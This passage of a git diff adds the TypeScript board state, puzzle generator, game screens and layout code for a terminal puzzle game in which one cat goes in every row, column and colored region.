+reduced motion static, the shared session pause and resume. + +## Limits + +Automated tests are not physical play: feel, color contrast on real themes, and the animations still need a person at a +terminal. Mouse is not supported. Best times ignore hinted solves. Guessing is never needed, but the solver only knows +techniques up to triples, so every shipped puzzle is solvable by them and none harder is generated. diff --git a/src/arcade/games/doku/board.ts b/src/arcade/games/doku/board.ts new file mode 100644 index 00000000..ef4b66a9 --- /dev/null +++ b/src/arcade/games/doku/board.ts @@ -0,0 +1,210 @@ +import {analyze, type Analysis} from './rules.js'; +import {makePuzzle, type MadePuzzle} from './puzzle.js'; +import {countSolutions} from './solver.js'; +import {CAT, DIFFICULTIES, EMPTY, EXCLUDED, type Difficulty, type Puzzle} from './types.js'; +import type {GameRecord, RecordValue} from '../../scores.js'; + +/** One change to one cell, for undo. */ +interface Edit { cell: number; from: number; to: number } + +const MAX_HISTORY = 400; +export const MAX_ELAPSED_MS = 99 * 3_600_000; +const MARK_CHARS = '.xc'; + +/** A puzzle in progress: the marks, the history, the clock's total and the hints used. Pure state, no drawing. */ +export class DokuBoard { + readonly marks: Uint8Array; + elapsedMs = 0; + hints = 0; + private undoStack: Edit[][] = []; + private redoStack: Edit[][] = []; + private cache: Analysis | undefined; + + constructor(readonly puzzle: MadePuzzle | SavedPuzzle, marks?: Uint8Array) { + this.marks = marks ?? new Uint8Array(puzzle.size * puzzle.size); + } + + get size(): number { return this.puzzle.size; } + get difficulty(): Difficulty { return this.puzzle.difficulty; } + get seed(): number { return this.puzzle.seed; } + + analysis(): Analysis { + this.cache ??= analyze(this.size, this.puzzle.regions, this.marks); + return this.cache; + } + get solved(): boolean { return this.analysis().solved; } + get canUndo(): boolean { return this.undoStack.length > 0; } + get canRedo(): boolean { return this.redoStack.length > 0; } + + /** Set cells together as one undoable move. Placing a cat clears that cell's X. Returns whether anything changed. */ + apply(changes: ReadonlyArray<{cell: number; to: number}>): boolean { + const edits: Edit[] = []; + for (const {cell, to} of changes) { + const from = this.marks[cell]!; + if (from !== to && cell >= 0 && cell < this.marks.length) edits.push({cell, from, to}); + } + if (!edits.length) return false; + for (const edit of edits) this.marks[edit.cell] = edit.to; + this.undoStack.push(edits); + if (this.undoStack.length > MAX_HISTORY) this.undoStack.shift(); + this.redoStack = []; + this.cache = undefined; + return true; + } + + /** Space or Enter: empty or X becomes a cat, a cat becomes empty. */ + toggleCat(cell: number): boolean { return this.apply([{cell, to: this.marks[cell] === CAT ? EMPTY : CAT}]); } + /** `x`: empty becomes X, X becomes empty. A cat is left alone. */ + toggleExclude(cell: number): boolean { + const mark = this.marks[cell]; + return mark === CAT ? false : this.apply([{cell, to: mark === EXCLUDED ? EMPTY : EXCLUDED}]); + } + /** `c`: clear every mark, as one move that undo brings back. */ + clearMarks(): boolean { + const changes: Array<{cell: number; to: number}> = []; + this.marks.forEach((mark, cell) => { if (mark !== EMPTY) changes.push({cell, to: EMPTY}); }); + return this.apply(changes); + } + + undo(): boolean { + const edits = this.undoStack.pop(); + if (!edits) return false; + for (const edit of [...edits].reverse()) this.marks[edit.cell] = edit.from; + this.redoStack.push(edits); + this.cache = undefined; + return true; + } + + redo(): boolean { + const edits = this.redoStack.pop(); + if (!edits) return false; + for (const edit of edits) this.marks[edit.cell] = edit.to; + this.undoStack.push(edits); + this.cache = undefined; + return true; + } + + /** Restart the same puzzle: no marks, no history, the clock and hints back to zero. */ + restart(): void { + this.marks.fill(EMPTY); + this.undoStack = []; + this.redoStack = []; + this.elapsedMs = 0; + this.hints = 0; + this.cache = undefined; + } + + /** The record's `current` entry. */ + toRecord(): RecordValue { + return { + difficulty: this.difficulty, seed: this.seed, size: this.size, + regions: this.puzzle.regions.map(region => String.fromCharCode(65 + region)).join(''), + solution: this.puzzle.solution.join(','), + marks: Array.from(this.marks, mark => MARK_CHARS[mark] ?? '.').join(''), + elapsedMs: Math.round(this.elapsedMs), hints: this.hints, + }; + } +} + +export interface SavedPuzzle extends Puzzle { difficulty: Difficulty; seed: number } + +export function newBoard(seed: number, difficulty: Difficulty): DokuBoard { return new DokuBoard(makePuzzle(seed, difficulty)); } + +// ---- reading a saved game ------------------------------------------------------------------------------------------ + +const isInt = (value: unknown, min: number, max: number): value is number => typeof value === 'number' && Number.isInteger(value) && value >= min && value <= max; + +function connected(size: number, regions: readonly number[], region: number): boolean { + const cells = regions.flatMap((owner, cell) => (owner === region ? [cell] : [])); + const seen = new Set([cells[0]!]); + const queue = [cells[0]!]; + while (queue.length) { + const cell = queue.pop()!; + const row = Math.floor(cell / size); + const column = cell % size; + const near = [row > 0 ? cell - size : -1, row < size - 1 ? cell + size : -1, column > 0 ? cell - 1 : -1, column < size - 1 ? cell + 1 : -1]; + for (const next of near) if (next >= 0 && regions[next] === region && !seen.has(next)) { seen.add(next); queue.push(next); } + } + return seen.size === cells.length; +} + +/** + * A saved `current`, or undefined when any part of it is wrong: sizes, letters, a region missing or split, a solution + * that is not a valid placement, a layout without exactly one solution, marks that are not `.xc`, a negative clock. + * A bad saved game is dropped whole, never repaired. + */ +export function readCurrent(value: unknown): DokuBoard | undefined { + if (typeof value !== 'object' || value === null || Array.isArray(value)) return undefined; + const item = value as Record; + const size = item.size; + if (!isInt(size, 4, 12)) return undefined; + if (typeof item.difficulty !== 'string' || !(DIFFICULTIES as readonly string[]).includes(item.difficulty)) return undefined; + if (!isInt(item.seed, 0, 0xffffffff) || !isInt(item.hints, 0, 100_000)) return undefined; + if (typeof item.elapsedMs !== 'number' || !Number.isFinite(item.elapsedMs) || item.elapsedMs < 0 || item.elapsedMs > MAX_ELAPSED_MS) return undefined; + const total = size * size; + if (typeof item.regions !== 'string' || item.regions.length !== total || typeof item.marks !== 'string' || item.marks.length !== total) return undefined; + const regions: number[] = []; + for (const letter of item.regions) { + const region = letter.charCodeAt(0) - 65; + if (region < 0 || region >= size) return undefined; + regions.push(region); + } + for (let region = 0; region < size; region += 1) if (!regions.includes(region) || !connected(size, regions, region)) return undefined; + const marks = new Uint8Array(total); + for (let cell = 0; cell < total; cell += 1) { + const mark = MARK_CHARS.indexOf(item.marks[cell]!); + if (mark < 0) return undefined; + marks[cell] = mark; + } + if (typeof item.solution !== 'string') return undefined; + const parts = item.solution.split(','); + const solution = parts.map(part => (/^\d{1,2}$/u.test(part) ? Number(part) : -1)); + if (solution.length !== size || solution.some(column => column < 0 || column >= size)) return undefined; + const cats = new Uint8Array(total); + solution.forEach((column, row) => { cats[row * size + column] = CAT; }); + if (!analyze(size, regions, cats).solved || countSolutions(size, regions, 2) !== 1) return undefined; + const board = new DokuBoard({size, regions, solution, difficulty: item.difficulty as Difficulty, seed: item.seed}, marks); + board.elapsedMs = item.elapsedMs; + board.hints = item.hints as number; + return board; +} + +// ---- statistics ---------------------------------------------------------------------------------------------------- + +export interface Stats { + bestTimes: Partial>; + completed: number; + completedByDifficulty: Record; + streak: number; + bestStreak: number; +} + +export function readStats(record: Readonly>): Stats { + const count = (value: unknown): number => (isInt(value, 0, 1_000_000_000) ? value : 0); + const stats: Stats = {bestTimes: {}, completed: count(record.completed), completedByDifficulty: {easy: 0, medium: 0, hard: 0, expert: 0}, streak: count(record.streak), bestStreak: count(record.bestStreak)}; + const times = typeof record.bestTimes === 'object' && record.bestTimes !== null ? record.bestTimes as Record : {}; + const by = typeof record.completedByDifficulty === 'object' && record.completedByDifficulty !== null ? record.completedByDifficulty as Record : {}; + for (const difficulty of DIFFICULTIES) { + stats.completedByDifficulty[difficulty] = count(by[difficulty]); + const time = times[difficulty]; + if (isInt(time, 1, MAX_ELAPSED_MS)) stats.bestTimes[difficulty] = time; + } + return stats; +} + +export function writeStats(record: GameRecord, stats: Stats): void { + record.bestTimes = {...stats.bestTimes} as Record; + record.completed = stats.completed; + record.completedByDifficulty = {...stats.completedByDifficulty}; + record.streak = stats.streak; + record.bestStreak = stats.bestStreak; +} + +/** `m:ss`, or `h:mm:ss` past an hour. */ +export function formatTime(ms: number): string { + const seconds = Math.max(0, Math.floor(ms / 1000)); + const h = Math.floor(seconds / 3600); + const m = Math.floor((seconds % 3600) / 60); + const s = seconds % 60; + return h > 0 ? `${h}:${String(m).padStart(2, '0')}:${String(s).padStart(2, '0')}` : `${m}:${String(s).padStart(2, '0')}`; +} diff --git a/src/arcade/games/doku/generator.ts b/src/arcade/games/doku/generator.ts new file mode 100644 index 00000000..f8ec4e15 --- /dev/null +++ b/src/arcade/games/doku/generator.ts @@ -0,0 +1,124 @@ +import type {Rng} from '../../rng.js'; +import type {Puzzle} from './types.js'; + +/** + * Puzzle generator: a valid cat placement first, then connected regions grown around it. It knows nothing about + * uniqueness or difficulty; `puzzle.ts` asks the independent solver about both and asks this module again when the + * answer is no. Everything is a pure function of the `Rng`, so a seed always rebuilds the same candidates. + */ + +/** One cat per row and column, no two touching (adjacent rows differ by at least two columns). Random, by backtracking. */ +export function placeCats(size: number, rng: Rng): number[] | undefined { + const columns: number[] = []; + const used = new Array(size).fill(false); + let budget = 20_000; + const fill = (row: number): boolean => { + if (row === size) return true; + if (budget-- <= 0) return false; + for (const column of rng.shuffle(Array.from({length: size}, (_, index) => index))) { + if (used[column] || (row > 0 && Math.abs(column - columns[row - 1]!) < 2)) continue; + used[column] = true; columns[row] = column; + if (fill(row + 1)) return true; + used[column] = false; + } + return false; + }; + return fill(0) ? columns : undefined; +} + +/** + * Grow `size` connected regions, each starting on one cat. The smaller of two random regions grows first (more or less + * balanced shapes, `balance` 0..1 says how often), into a random free cell beside it, so every region stays connected. + */ +export function growRegions(size: number, solution: readonly number[], rng: Rng, balance: number): number[] { + const total = size * size; + const owner = new Array(total).fill(-1); + const cells: number[][] = []; + for (let row = 0; row < size; row += 1) { + const cell = row * size + solution[row]!; + owner[cell] = row; + cells.push([cell]); + } + const freeBeside = (region: number): number[] => { + const free: number[] = []; + for (const cell of cells[region]!) { + const row = Math.floor(cell / size); + const column = cell % size; + if (row > 0 && owner[cell - size] === -1) free.push(cell - size); + if (row < size - 1 && owner[cell + size] === -1) free.push(cell + size); + if (column > 0 && owner[cell - 1] === -1) free.push(cell - 1); + if (column < size - 1 && owner[cell + 1] === -1) free.push(cell + 1); + } + return free; + }; + for (let assigned = size; assigned < total;) { + const open = cells.map((_, region) => region).filter(region => freeBeside(region).length > 0); + let region = rng.pick(open); + if (rng.chance(balance)) { + const other = rng.pick(open); + if (cells[other]!.length < cells[region]!.length) region = other; + } + const cell = rng.pick(freeBeside(region)); + owner[cell] = region; + cells[region]!.push(cell); + assigned += 1; + } + return owner; +} + +/** One candidate puzzle: not yet checked for a single solution. */ +export function candidatePuzzle(size: number, rng: Rng): Puzzle { + let solution = placeCats(size, rng); + for (let attempt = 0; !solution && attempt < 50; attempt += 1) solution = placeCats(size, rng); + if (!solution) throw new RangeError(`no cat placement for a ${size} x ${size} board`); + return {size, solution, regions: growRegions(size, solution, rng, rng.range(0.4, 1))}; +} + +/** + * Make a candidate more likely to be unique. `another` returns a solution other than the planted one (or undefined when + * there is none); one cell of it moves into a neighboring region, which spoils that solution (a second cat in the + * region, or none) while the planted cats and every region's connectedness stay intact. Repeats a bounded number of times. + */ +export function repairRegions(puzzle: Puzzle, rng: Rng, another: (regions: readonly number[]) => number[] | undefined, rounds = 60): boolean { + const {size, solution, regions} = puzzle; + const planted = new Set(solution.map((column, row) => row * size + column)); + const around = (cell: number): number[] => { + const row = Math.floor(cell / size); + const column = cell % size; + const out: number[] = []; + if (row > 0) out.push(cell - size); + if (row < size - 1) out.push(cell + size); + if (column > 0) out.push(cell - 1); + if (column < size - 1) out.push(cell + 1); + return out; + }; + const connectedWithout = (region: number, removed: number): boolean => { + const cells: number[] = []; + regions.forEach((owner, cell) => { if (owner === region && cell !== removed) cells.push(cell); }); + if (cells.length === 0) return false; + const seen = new Set([cells[0]!]); + const queue = [cells[0]!]; + while (queue.length) for (const next of around(queue.pop()!)) if (next !== removed && regions[next] === region && !seen.has(next)) { seen.add(next); queue.push(next); } + return seen.size === cells.length; + }; + for (let round = 0; round < rounds; round += 1) { + const alt = another(regions); + if (!alt) return true; + const catRegions = new Map(); + alt.forEach((column, row) => catRegions.set(regions[row * size + column]!, row * size + column)); + const moves: Array<{cell: number; to: number; score: number}> = []; + alt.forEach((column, row) => { + const cell = row * size + column; + if (planted.has(cell)) return; + for (const next of around(cell)) { + const to = regions[next]!; + if (to !== regions[cell]) moves.push({cell, to, score: (catRegions.has(to) ? 2 : 0) + rng.next()}); + } + }); + moves.sort((a, b) => b.score - a.score); + const move = moves.find(candidate => connectedWithout(regions[candidate.cell]!, candidate.cell)); + if (!move) return false; + regions[move.cell] = move.to; + } + return false; +} diff --git a/src/arcade/games/doku/index.ts b/src/arcade/games/doku/index.ts index 2a3fc0d8..52c8954a 100644 --- a/src/arcade/games/doku/index.ts +++ b/src/arcade/games/doku/index.ts @@ -1,7 +1,330 @@ -import type {GameDefinition} from '../../types.js'; -import {placeholderGame} from '../placeholder.js'; +import {mixRgb} from '../../../chroma/chroma.js'; +import {PixelBuffer, type Canvas} from '../../Canvas.js'; +import {ParticleSystem} from '../../effects.js'; +import {Menu, type MenuItem} from '../../menu.js'; +import {regionColors, type ArcadePalette} from '../../palette.js'; +import type {ControlHint, GameContext, GameDefinition, GameInstance, GameKeyResult, GameResult, GameStatus} from '../../types.js'; +import type {Key} from '../../../terminal/keys.js'; +import {typeset} from '../../../ui/typography.js'; +import {truncateText} from '../../../util/text.js'; +import {DokuBoard, formatTime, newBoard, readCurrent, readStats, writeStats} from './board.js'; +import {SIZES, makePuzzle} from './puzzle.js'; +import {regionLetter} from './rules.js'; +import {renderBoard, SETTLE_MS} from './render.js'; +import {nextHint, type Hint} from './solver.js'; +import {CAT, DIFFICULTIES, type Difficulty} from './types.js'; -/** Placeholder until this game is implemented; replaced wholesale by the game's own module. */ -export const dokuGame: GameDefinition = placeholderGame({ - id: 'vespyr-doku', aliases: ['doku'], title: 'Vespyr Doku', tagline: 'Cats and colored regions', description: 'One cat in every row, column and colored region, and no two cats touching.', kind: 'puzzle', -}); +const MAX_TICK_MS = 5000; +const SCHEMA_VERSION = 1; + +const cap = (word: string): string => `${word[0]!.toUpperCase()}${word.slice(1)}`; +const sizeRange = (difficulty: Difficulty): string => { const [low, high] = SIZES[difficulty]; return low === high ? `${low}×${low}` : `${low}×${low}–${high}×${high}`; }; + +const CONTROLS: readonly ControlHint[] = [ + {keys: '←↑↓→ hjkl', action: 'move'}, {keys: 'Space', action: 'cat'}, {keys: 'x', action: 'exclude'}, {keys: 'u', action: 'undo'}, + {keys: 'Ctrl+Y', action: 'redo'}, {keys: 't', action: 'hint'}, {keys: 'Esc', action: 'pause'}, +]; + +let demo: ReturnType | undefined; + +class DokuGame implements GameInstance { + result: GameResult | undefined; + readonly stepsPerSecond = 0; + private screen: 'menu' | 'play' | 'won' = 'menu'; + private board: DokuBoard | undefined; + private menu: Menu; + private cursor = 0; + private hint: Hint | undefined; + private message = ''; + private armedRestart = false; + private paused = false; + private idleMs = 0; + private size: {columns: number; rows: number}; + private settle = new Float32Array(0); + private settling = 0; + private readonly particles: ParticleSystem; + private disposed = false; + private saved: DokuBoard | undefined; + + constructor(private readonly context: GameContext) { + this.size = context.size; + this.particles = new ParticleSystem(context.rng.fork('doku-fx'), 120, context.motion.effects); + const record = context.record.get(); + const saved = record.current === undefined ? undefined : readCurrent(record.current); + if (record.current !== undefined && !saved) context.record.update(entry => { delete entry.current; }); + this.saved = saved; + this.menu = this.buildMenu(saved); + } + + get status(): GameStatus { return this.screen === 'menu' ? 'ready' : this.screen === 'won' ? 'won' : 'playing'; } + /** A repaint every second for the clock; faster while something is settling, blinking or waking from pause. */ + get refreshMs(): number { + if (this.paused || this.settling > 0) return 50; + if (this.screen === 'play' && !this.context.motion.reduced) return 250; + return 1000; + } + + // ---- menu --------------------------------------------------------------------------------------------------- + + private buildMenu(saved: DokuBoard | undefined): Menu { + const stats = readStats(this.context.record.get()); + const items: MenuItem[] = []; + if (saved) items.push({id: 'continue', label: 'Continue', key: 'c', hint: `${cap(saved.difficulty)} ${saved.size}×${saved.size} · ${formatTime(saved.elapsedMs)}`}); + for (const difficulty of DIFFICULTIES) { + const best = stats.bestTimes[difficulty]; + items.push({id: difficulty, label: `New ${difficulty} puzzle`, key: difficulty === 'expert' ? 'x' : difficulty[0]!, hint: best ? `${sizeRange(difficulty)} · best ${formatTime(best)}` : sizeRange(difficulty)}); + } + return new Menu(items); + } + + private startPuzzle(board: DokuBoard): void { + this.board = board; + this.screen = 'play'; + this.cursor = Math.floor(board.size / 2) * board.size + Math.floor(board.size / 2); + this.settle = new Float32Array(board.size * board.size).fill(-1); + this.settling = 0; + this.hint = undefined; + this.message = ''; + this.armedRestart = false; + this.paused = false; + this.persistCurrent(); + } + + // ---- time and animation ------------------------------------------------------------------------------------- + + step(): void { /* turn-based: the clock runs in animate */ } + + animate(dtMs: number): void { + if (this.disposed) return; + if (this.paused) { this.paused = false; return; } + this.idleMs += dtMs; + this.particles.update(dtMs); + if (this.settling > 0) { + this.settling = 0; + for (let cell = 0; cell < this.settle.length; cell += 1) { + const age = this.settle[cell]!; + if (age < 0) continue; + if (age + dtMs >= SETTLE_MS) this.settle[cell] = -1; + else { this.settle[cell] = age + dtMs; this.settling += 1; } + } + } + if (this.screen === 'play' && this.board) this.board.elapsedMs = Math.min(this.board.elapsedMs + Math.min(dtMs, MAX_TICK_MS), 99 * 3_600_000); + } + + pause(): void { + if (this.screen === 'play') { this.paused = true; this.persistCurrent(); } + } + + // ---- keys --------------------------------------------------------------------------------------------------- + + key(key: Key): GameKeyResult { + if (this.screen === 'menu') return this.menuKey(key); + const board = this.board; + if (this.screen !== 'play' || !board) return 'ignored'; + this.paused = false; + const size = board.size; + const row = Math.floor(this.cursor / size); + const column = this.cursor % size; + const value = key.kind === 'text' ? key.value.toLowerCase() : ''; + const restartArmed = this.armedRestart; + this.armedRestart = false; + if (key.kind === 'up' || value === 'k') this.cursor = Math.max(0, row - 1) * size + column; + else if (key.kind === 'down' || value === 'j') this.cursor = Math.min(size - 1, row + 1) * size + column; + else if (key.kind === 'left' || value === 'h') this.cursor = row * size + Math.max(0, column - 1); + else if (key.kind === 'right' || value === 'l') this.cursor = row * size + Math.min(size - 1, column + 1); + else if (key.kind === 'enter' || value === ' ') { this.message = ''; this.change(board.toggleCat(this.cursor), [this.cursor]); } + else if (value === 'x') { this.message = ''; this.change(board.toggleExclude(this.cursor), []); } + else if (value === 'u') { this.message = board.canUndo ? '' : 'Nothing to undo.'; this.change(board.undo(), []); } + else if (key.kind === 'redo' || value === 'y') { this.message = board.canRedo ? '' : 'Nothing to redo.'; this.change(board.redo(), []); } + else if (value === 'c') { this.message = ''; this.change(board.clearMarks(), []); if (!this.message && !board.canUndo) this.message = 'The board is already clear.'; } + else if (value === 't') this.hintKey(board); + else if (value === 'r') { + if (restartArmed) { board.restart(); this.settle.fill(-1); this.settling = 0; this.hint = undefined; this.message = 'Restarted: same puzzle, clock at zero.'; this.persistCurrent(); } + else { this.armedRestart = true; this.message = 'Press r again to restart this puzzle (clock and hints reset).'; } + } else if (value === 'n') { this.persistCurrent(); this.toMenu(); } + else return 'ignored'; + return 'handled'; + } + + private menuKey(key: Key): GameKeyResult { + if (key.kind === 'escape') return 'ignored'; + const choice = this.menu.key(key); + if (!choice) return key.kind === 'up' || key.kind === 'down' || key.kind === 'text' || key.kind === 'complete' ? 'handled' : 'ignored'; + if (choice === 'continue' && this.saved) this.startPuzzle(this.saved); + else if ((DIFFICULTIES as readonly string[]).includes(choice)) { + this.startPuzzle(newBoard(this.context.rng.int(1, 0x7fffffff), choice as Difficulty)); + } + return 'handled'; + } + + private toMenu(): void { + this.screen = 'menu'; + this.board = undefined; + this.saved = (() => { const entry = this.context.record.get().current; return entry === undefined ? undefined : readCurrent(entry); })(); + this.menu = this.buildMenu(this.saved); + this.hint = undefined; + this.message = ''; + } + + /** Any change to the marks drops a pending hint, restarts settle animations and checks for the win. */ + private change(changed: boolean, placed: number[]): void { + const board = this.board!; + if (!changed) return; + this.hint = undefined; + if (!this.context.motion.reduced) { + for (const cell of placed) if (board.marks[cell] === CAT) { this.settle[cell] = 0; this.settling += 1; } + } + this.persistCurrent(); + if (board.solved) this.win(); + } + + private hintKey(board: DokuBoard): void { + if (this.hint) { + const hint = this.hint; + this.hint = undefined; + const placed = hint.changes.filter(change => change.to === CAT).map(change => change.cell); + this.message = ''; + this.change(board.apply(hint.changes), placed); + return; + } + const hint = nextHint(board.size, board.puzzle.regions, board.puzzle.solution, board.marks); + if (!hint) { this.message = 'Nothing left to hint: the board is complete.'; return; } + board.hints += 1; + this.hint = hint; + this.message = `${hint.text} Press t again to do it.`; + if (hint.targets[0] !== undefined) this.cursor = hint.targets[0]; + this.persistCurrent(); + } + + // ---- finishing ---------------------------------------------------------------------------------------------- + + private win(): void { + const board = this.board!; + this.screen = 'won'; + this.hint = undefined; + const stats = readStats(this.context.record.get()); + const best = stats.bestTimes[board.difficulty]; + stats.completed += 1; + stats.completedByDifficulty[board.difficulty] += 1; + const clean = board.hints === 0; + const newBest = clean && (best === undefined || board.elapsedMs < best); + if (newBest) stats.bestTimes[board.difficulty] = Math.max(1, Math.round(board.elapsedMs)); + stats.streak = clean ? stats.streak + 1 : 0; + stats.bestStreak = Math.max(stats.bestStreak, stats.streak); + this.context.record.update(entry => { writeStats(entry, stats); entry.version = SCHEMA_VERSION; delete entry.current; }); + const shown = newBest ? board.elapsedMs : best; + this.result = { + score: Math.round(board.elapsedMs / 1000), scoreText: formatTime(board.elapsedMs), record: newBest, + details: [ + `${cap(board.difficulty)} ${board.size}×${board.size}`, + board.hints === 0 ? 'No hints' : `${board.hints} hint${board.hints === 1 ? '' : 's'}`, + newBest ? 'New best time' : shown !== undefined ? `Best ${formatTime(shown)}` : 'Hinted solves do not set best times', + `Solved ${stats.completed} · streak ${stats.streak}`, + ], + }; + this.celebrate(); + } + + private celebrate(): void { + const motion = this.context.motion; + if (motion.reduced || motion.effects === 'off') return; + const colors = regionColors(this.board!.size, {red: 12, green: 10, blue: 22}); + this.particles.burst({x: this.size.columns / 2, y: this.size.rows, count: 36, speed: 46, life: 900, gravity: 24, drag: 0.6, colors}); + this.particles.update(280); + } + + private persistCurrent(): void { + if (this.screen !== 'play' || !this.board) return; + const current = this.board.toRecord(); + this.context.record.update(entry => { entry.version = SCHEMA_VERSION; entry.current = current; }); + } + + persist(): void { this.persistCurrent(); } + + // ---- drawing ------------------------------------------------------------------------------------------------ + + render(canvas: Canvas, _alpha: number, palette: ArcadePalette): void { + if (this.screen === 'menu' || !this.board) { this.renderMenu(canvas, palette); return; } + const plain = this.context.color === 'none' || this.context.safeGlyphs; + renderBoard(canvas, palette, { + board: this.board, cursor: this.cursor, hint: this.hint, idleMs: this.idleMs, settle: this.settle, reduced: this.context.motion.reduced, + plain, safe: this.context.safeGlyphs, paused: this.paused, won: this.screen === 'won', message: this.message, + }); + if (this.particles.count > 0) { + const layer = new PixelBuffer(canvas.width, canvas.height * 2); + this.particles.draw(layer, palette.deep); + canvas.blit(layer); + } + } + + private renderMenu(canvas: Canvas, palette: ArcadePalette): void { + canvas.clear(palette.deep); + const stats = readStats(this.context.record.get()); + const width = canvas.width; + const title = typeset({role: 'title', text: 'Vespyr Doku', maxColumns: Math.max(8, width - 4), maxRows: 2}); + const tall = canvas.height >= this.menu.items.length + title.rows + 5; + let y = 0; + if (tall) { + canvas.typeBlock(title, 2, y, {fg: palette.ink, bold: true}); + y += title.rows; + canvas.text(2, y, truncateText('A cat in every row, column and color. No two touching.', width - 4), {fg: palette.accent}); + y += 2; + } else { + canvas.text(1, y, 'Vespyr Doku', {fg: palette.ink, bold: true}); + y += 1; + } + this.menu.draw(canvas, palette, 0, y, width); + y += this.menu.items.length + 1; + const line = stats.completed > 0 + ? `Solved ${stats.completed} · streak ${stats.streak} (best ${stats.bestStreak})` + : 'Hints explain a logical step first; a second press applies it.'; + if (y < canvas.height) canvas.center(y, truncateText(line, width - 2), {fg: palette.faint}); + } + + resize(size: {columns: number; rows: number}): void { this.size = size; } + hints(): readonly ControlHint[] { + return this.screen === 'play' ? CONTROLS : [{keys: '↑↓', action: 'choose'}, {keys: 'Enter', action: 'select'}, {keys: 'Esc', action: 'back'}]; + } + + dispose(): void { + this.disposed = true; + this.particles.clear(); + this.board = undefined; + this.saved = undefined; + this.result = undefined; + } +} + +/** A mini board for the hub: the demo puzzle's regions, with cats arriving one by one. */ +function drawPreview(canvas: Canvas, frame: number, palette: ArcadePalette): void { + demo ??= makePuzzle(7, 'easy'); + const size = demo.size; + const colors = regionColors(size, palette.deep, palette); + const cw = canvas.width >= size * 4 ? 4 : 3; + const left = Math.max(0, Math.floor((canvas.width - size * cw) / 2)); + const placed = Math.floor(frame / 6) % (size + 3); + for (let row = 0; row < Math.min(size, canvas.height); row += 1) { + for (let column = 0; column < size; column += 1) { + const cell = row * size + column; + const bg = colors[demo.regions[cell]!]!; + const cat = demo.solution[row] === column && row < placed; + canvas.fill(left + column * cw, row, cw, 1, ' ', {bg, fg: palette.deep}); + canvas.text(left + column * cw + (cw === 4 ? 1 : 0), row, cat ? '^.^' : regionLetter(demo.regions[cell]!), {fg: cat ? mixRgb(palette.cat.body, palette.haze, 0.2) : mixRgb(palette.deep, bg, 0.3), bg: cat ? mixRgb(bg, palette.deep, 0.5) : bg, bold: cat}); + } + } +} + +export const dokuGame: GameDefinition = { + id: 'vespyr-doku', aliases: ['doku'], title: 'Vespyr Doku', tagline: 'Cats and colored regions', + description: 'One cat in every row, column and colored region, and no two cats touching. Unlimited puzzles, four difficulties, logical hints.', + kind: 'puzzle', + controls: [{keys: 'Space', action: 'cat'}, {keys: 'x', action: 'exclude'}, {keys: 'u', action: 'undo'}, {keys: 't', action: 'hint'}], + summary: record => { + const stats = readStats(record); + if (stats.completed === 0) return 'Not played yet'; + const best = [...DIFFICULTIES].reverse().find(difficulty => stats.bestTimes[difficulty] !== undefined); + return best ? `Solved ${stats.completed} · best ${best} ${formatTime(stats.bestTimes[best]!)}` : `Solved ${stats.completed}`; + }, + preview: drawPreview, + create: context => new DokuGame(context), +}; diff --git a/src/arcade/games/doku/layout.ts b/src/arcade/games/doku/layout.ts new file mode 100644 index 00000000..6e64691a --- /dev/null +++ b/src/arcade/games/doku/layout.ts @@ -0,0 +1,76 @@ +/** + * Where the board goes on a canvas. Cells come in five sizes, biggest that fits first. The first two have a full + * lattice (region borders drawn between cells in box-drawing glyphs, a gutter row and column per cell), the next two + * only vertical gutters (a border below a cell is an underline), the last has none and relies on letters alone. + */ +export interface CellStyle { + name: 'large' | 'medium' | 'compact' | 'tight' | 'mini'; + /** Cell content size. */ + cw: number; + ch: number; + /** Gutter columns and rows between cells (and around the board) for region borders. */ + gx: number; + gy: number; +} + +export const CELL_STYLES: readonly CellStyle[] = [ + {name: 'large', cw: 7, ch: 3, gx: 1, gy: 1}, + {name: 'medium', cw: 6, ch: 2, gx: 1, gy: 1}, + {name: 'compact', cw: 4, ch: 1, gx: 1, gy: 0}, + {name: 'tight', cw: 3, ch: 1, gx: 1, gy: 0}, + {name: 'mini', cw: 2, ch: 1, gx: 0, gy: 0}, +]; + +export interface BoardLayout { + style: CellStyle; + size: number; + /** Board origin (the top-left gutter or cell) and extent in cells. */ + x: number; + y: number; + width: number; + height: number; + /** Row numbers on the left and a done mark on the right fit. */ + labels: boolean; + /** Rows used above the board: the HUD line, a spacer when there is room, and the column labels. */ + top: number; + /** Rows reserved below for the message. */ + bottom: number; + /** Column labels row (or -1). */ + headerY: number; +} + +export const boardWidth = (style: CellStyle, size: number): number => size * style.cw + (style.gx ? size + 1 : 0); +export const boardHeight = (style: CellStyle, size: number): number => size * style.ch + (style.gy ? size + 1 : 0); + +/** Smallest canvas the board can be drawn on: the mini cells, no labels, a HUD row and a message row. */ +export function minimumCanvas(size: number): {columns: number; rows: number} { + const mini = CELL_STYLES[CELL_STYLES.length - 1]!; + return {columns: boardWidth(mini, size), rows: boardHeight(mini, size) + 2}; +} + +/** The layout for a board on a canvas, or undefined when it does not fit. */ +export function chooseLayout(columns: number, rows: number, size: number): BoardLayout | undefined { + const labelWidth = size >= 10 ? 3 : 2; + for (const labels of [true, false]) { + for (const style of CELL_STYLES) { + const width = boardWidth(style, size); + const height = boardHeight(style, size); + const sideRoom = labels ? labelWidth + 1 + 2 : 0; + if (width + sideRoom > columns) continue; + // A HUD row and a message row always; the column labels, a spacer and a second message row when there is room. + const headerNeeded = labels ? 1 : 0; + if (height + 2 + headerNeeded > rows) continue; + let spare = rows - (height + 2 + headerNeeded); + const spacer = spare >= 1 ? 1 : 0; + spare -= spacer; + const extraMessage = spare >= 1 ? 1 : 0; + spare -= extraMessage; + const top = 1 + spacer + headerNeeded; + const bottom = 1 + extraMessage; + const x = Math.max(labels ? labelWidth + 1 : 0, Math.floor((columns - width) / 2)); + const y = top + Math.floor(spare / 2); + return {style, size, x, y, width, height, labels, top, bottom, headerY: labels ? y - 1 : -1}; + } + } + return undefined; +} diff --git a/src/arcade/games/doku/puzzle.ts b/src/arcade/games/doku/puzzle.ts new file mode 100644 index 00000000..f42c3eef --- /dev/null +++ b/src/arcade/games/doku/puzzle.ts @@ -0,0 +1,74 @@ +import {createRng, hashSeed, type Rng} from '../../rng.js'; +import {candidatePuzzle, repairRegions} from './generator.js'; +import {DIFFICULTY_LEVELS, countSolutions, levelDistance, rate, solveOther} from './solver.js'; +import type {Difficulty, Puzzle} from './types.js'; + +/** Board sizes by difficulty; the seed picks within a range. */ +export const SIZES: Readonly> = {easy: [5, 6], medium: [7, 7], hard: [8, 8], expert: [9, 10]}; + +/** Expert is mostly 9 x 9: a 10 x 10 board costs several times more to generate, so it is the occasional treat. */ +function pickSize(difficulty: Difficulty, 